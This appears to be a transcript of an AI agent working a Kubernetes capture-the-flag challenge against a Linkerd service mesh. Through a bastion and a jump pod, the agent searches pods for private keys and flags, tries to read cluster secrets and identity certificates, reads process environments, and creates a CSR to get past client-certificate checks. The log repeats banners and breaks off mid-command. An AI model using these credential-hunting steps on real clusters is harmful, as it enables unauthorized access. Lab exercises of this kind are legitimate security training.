/etc/ssl/certs/UCA_Global_G2_Root.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/SecureSign_Root_CA12.pem
/etc/ssl/certs/COMODO_ECC_Certification_Authority.pem
/etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem
/etc/ssl/certs/TrustAsia_Global_Root_CA_G3.pem
/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
/etc/ssl/certs/AffirmTrust_Premium.pem
/etc/ssl/certs/TeliaSonera_Root_CA_v1.pem
/etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem
/etc/ssl/certs/DigiCert_Trusted_Root_G4.pem
/etc/ssl/certs/D-TRUST_BR_Root_CA_1_2020.pem
/etc/ssl/certs/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.pem
/etc/ssl/certs/DigiCert_TLS_RSA4096_Root_G5.pem
/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-02.pem
/etc/ssl/certs/Certum_Trusted_Root_CA.pem
/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_R46.pem
/etc/ssl/certs/Security_Communication_RootCA2.pem
/etc/ssl/certs/COMODO_RSA_Certification_Authority.pem
/etc/ssl/certs/Trustwave_Global_Certification_Authority.pem
/etc/ssl/certs/vTrus_ECC_Root_CA.pem
/etc/ssl/certs/NAVER_Global_Root_Certification_Authority.pem
/etc/ssl/certs/emSign_Root_CA_-_G1.pem
/etc/ssl/certs/HARICA_TLS_ECC_Root_CA_2021.pem
/etc/ssl/certs/COMODO_Certification_Authority.pem
/etc/ssl/certs/Certigna.pem
/etc/ssl/certs/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem
/etc/ssl/certs/Go_Daddy_Class_2_CA.pem
/etc/ssl/certs/TWCA_Global_Root_CA.pem
/etc/ssl/certs/GlobalSign_Root_R46.pem
/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_2009.pem
/etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R4.pem
/etc/ssl/certs/USERTrust_ECC_Certification_Authority.pem
/etc/ssl/certs/Microsoft_ECC_Root_Certificate_Authority_2017.pem
/etc/ssl/certs/GTS_Root_R2.pem
/etc/ssl/certs/ISRG_Root_X1.pem
/etc/ssl/certs/CA_Disig_Root_R2.pem
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEBUG-TOOLS HOME ==="
[?2004l=== DEBUG-TOOLS HOME ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
[?2004l/home/:
total 8
drwxr-xr-x 2 root root 4096 Mar  2 21:50 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..

/opt/:
total 8
drwxr-xr-x 2 root root 4096 Mar 16 00:00 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..

/root/:
total 16
drwx------ 2 root root 4096 Mar 16 00:00 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
-rw-r--r-- 1 root root  607 Mar  2 21:50 .bashrc
-rw-r--r-- 1 root root  132 Mar  2 21:50 .profile

/tmp/:
total 8
drwxrwxrwt 1 root root 4096 Mar 25 10:51 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CHECK LINKERD CERTS ==="
[?2004l=== CHECK LINKERD CERTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
[?2004lls: cannot access '/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | heaad -5
[?2004lcat: /var/run/linkerd/identity/end-entity/key.pem: No such file or directory
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Get full deployment YAML to see debug-tools container definition
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== FULL DEPLOYMENT ==="
kubectl get deployment -n production receiver -o yaml 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== FULL DEPLOYMENT ==="
kubectl get deployment -n production receiver -o yaml 2>&1
exit
echo "=== FULL DEPLOYMENT ==="
kubectl get deployment -n production receiver -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== FULL DEPLOYMENT ==="
[?2004l=== FULL DEPLOYMENT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get deployment -n production receiver -o yyaml 2>&1
[?2004lapiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
  creationTimestamp: "2026-03-25T10:50:53Z"
  generation: 1
  labels:
    app: receiver
  name: receiver
  namespace: production
  resourceVersion: "1601"
  uid: 2b9f7288-6f94-42f3-9260-617a21c71022
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: receiver
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      labels:
        app: receiver
    spec:
      containers:
      - args:
        - |
          import http.server
          import socketserver
          import datetime
          class Handler(http.server.SimpleHTTPRequestHandler):
              def do_GET(self):
                  self.send_response(200)
                  self.end_headers()
                  self.wfile.write(b"Request successfully received.\n")
          print("Listening on 8080...", flush=True)
          with socketserver.TCPServer(("", 8080), Handler) as httpd:
              httpd.serve_forever()
        command:
        - python
        - -c
        image: python:3.14-slim
        imagePullPolicy: IfNotPresent
        name: python-server
        ports:
        - containerPort: 8080
          name: http
          protocol: TCP
        resources: {}
        securityContext:
          allowPrivilegeEscalation: false
          capabilities:
            drop:
            - ALL
          runAsNonRoot: true
          runAsUser: 1000
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      - args:
        - |
          apt-get update && apt-get install -y tcpdump curl iproute2
          sleep infinity
        command:
        - /bin/sh
        - -c
        image: debian:trixie-slim
        imagePullPolicy: IfNotPresent
        name: debug-tools
        resources: {}
        securityContext:
          capabilities:
            add:
            - NET_ADMIN
            - NET_RAW
          runAsUser: 0
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
status:
  availableReplicas: 1
  conditions:
  - lastTransitionTime: "2026-03-25T10:51:03Z"
    lastUpdateTime: "2026-03-25T10:51:03Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: "2026-03-25T10:50:53Z"
    lastUpdateTime: "2026-03-25T10:51:03Z"
    message: ReplicaSet "receiver-794df886d7" has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 1
  readyReplicas: 1
  replicas: 1
  terminatingReplicas: 0
  updatedReplicas: 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check python-server for keys, curl gateway from meshed pod, check Linkerd proxy
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== PYTHON-SERVER ==="
kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
echo "=== LINKERD IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== PYTHON-SERVER ==="
kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
echo "=== LINKERD IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10
exit
echo "=== PYTHON-SERVER ==="
kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
echo "=== LINKERD IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PYTHON-SERVER ==="
[?2004l=== PYTHON-SERVER ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -namme "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep  -v lib | grep -v ssl
[?2004lfind: '/root': Permission denied
find: '/var/cache/ldconfig': Permission denied
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
[?2004l=== CURL FROM DEBUG-TOOLS TO GATEWAY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
[?2004lcommand terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD  ==="
[?2004l=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
[?2004l# HELP inbound_http_authz_allow_total The total number of inbound HTTP requests that were authorized
# TYPE inbound_http_authz_allow_total counter
inbound_http_authz_allow_total{target_addr="0.0.0.0:4191",target_ip="0.0.0.0",target_port="4191",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="4191",route_group="",route_kind="default",route_name="probe",authz_group="",authz_kind="default",authz_name="probe",tls="no_identity",no_tls_reason="no_tls_from_remote"} 256
inbound_http_authz_allow_total{target_addr="192.168.84.131:8080",target_ip="192.168.84.131",target_port="8080",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="8080",route_group="",route_kind="default",route_name="default",authz_group="",authz_kind="default",authz_name="all-authenticated",tls="true",client_id="default.supersecret.serviceaccount.identity.linkerd.cluster.local"} 254
inbound_http_authz_allow_total{target_addr="0.0.0.0:4191",target_ip="0.0.0.0",target_port="4191",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="4191",route_group="",route_kind="default",route_name="default",authz_group="",authz_kind="default",authz_name="localhost",tls="no_identity",no_tls_reason="no_tls_from_remote"} 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
[?2004lready
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== LINKERD IDENTITY ==="
[?2004l=== LINKERD IDENTITY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity || head -10
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try reading specific secrets, check security policies, and CSR ability
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== TRY SPECIFIC SECRETS ==="
kubectl get secret client-ca-secret -n default -o yaml 2>&1
kubectl get secret certs -n default -o yaml 2>&1
echo "=== SECURITY POLICIES ==="
kubectl get securitypolicies -A -o yaml 2>&1
echo "=== HTTPROUTES IN DEFAULT ==="
kubectl get httproutes -n default -o yaml 2>&1
echo "=== OPENSSL GENERATE NEW KEY ==="
openssl genrsa -out /tmp/newkey.pem 2048 2>&1
openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
echo "=== CHECK CSR API ==="
kubectl auth can-i create certificatesigningrequests 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== TRY SPECIFIC SECRETS ==="
kubectl get secret client-ca-secret -n default -o yaml 2>&1
kubectl get secret certs -n default -o yaml 2>&1
echo "=== SECURITY POLICIES ==="
kubectl get securitypolicies -A -o yaml 2>&1
echo "=== HTTPROUTES IN DEFAULT ==="
kubectl get httproutes -n default -o yaml 2>&1
echo "=== OPENSSL GENERATE NEW KEY ==="
openssl genrsa -out /tmp/newkey.pem 2048 2>&1
openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
echo "=== CHECK CSR API ==="
kubectl auth can-i create certificatesigningrequests 2>&1
exit
echo "=== TRY SPECIFIC SECRETS ==="
kubectl get secret client-ca-secret -n default -o yaml 2>&1
kubectl get secret certs -n default -o yaml 2>&1
echo "=== SECURITY POLICIES ==="
kubectl get securitypolicies -A -o yaml 2>&1
echo "=== HTTPROUTES IN DEFAULT ==="
kubectl get httproutes -n default -o yaml 2>&1
echo "=== OPENSSL GENERATE NEW KEY ==="
openssl genrsa -out /tmp/newkey.pem 2048 2>&1
openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
echo "=== CHECK CSR API ==="
kubectl auth can-i create certificatesigningrequests 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TRY SPECIFIC SECRETS ==="
[?2004l=== TRY SPECIFIC SECRETS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret client-ca-secret -n default -o  yaml 2>&1
[?2004lError from server (Forbidden): secrets "client-ca-secret" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret certs -n default -o yaml 2>&1
[?2004lError from server (Forbidden): secrets "certs" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== SECURITY POLICIES ==="
[?2004l=== SECURITY POLICIES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get securitypolicies -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): securitypolicies.gateway.envoyproxy.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "securitypolicies" in API group "gateway.envoyproxy.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HTTPROUTES IN DEFAULT ==="
[?2004l=== HTTPROUTES IN DEFAULT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get httproutes -n default -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== OPENSSL GENERATE NEW KEY ==="
[?2004l=== OPENSSL GENERATE NEW KEY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# openssl genrsa -out /tmp/newkey.pem 2048 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# openssl req -new -key /tmp/newkey.pem -out /tmp/neewcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CHECK CSR API ==="
[?2004l=== CHECK CSR API ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i create certificatesigningrequessts 2>&1
[?2004lWarning: resource 'certificatesigningrequests' is not namespace scoped in group 'certificates.k8s.io'

no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check TLS acceptable CAs and Linkerd trust anchor from proxy process
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
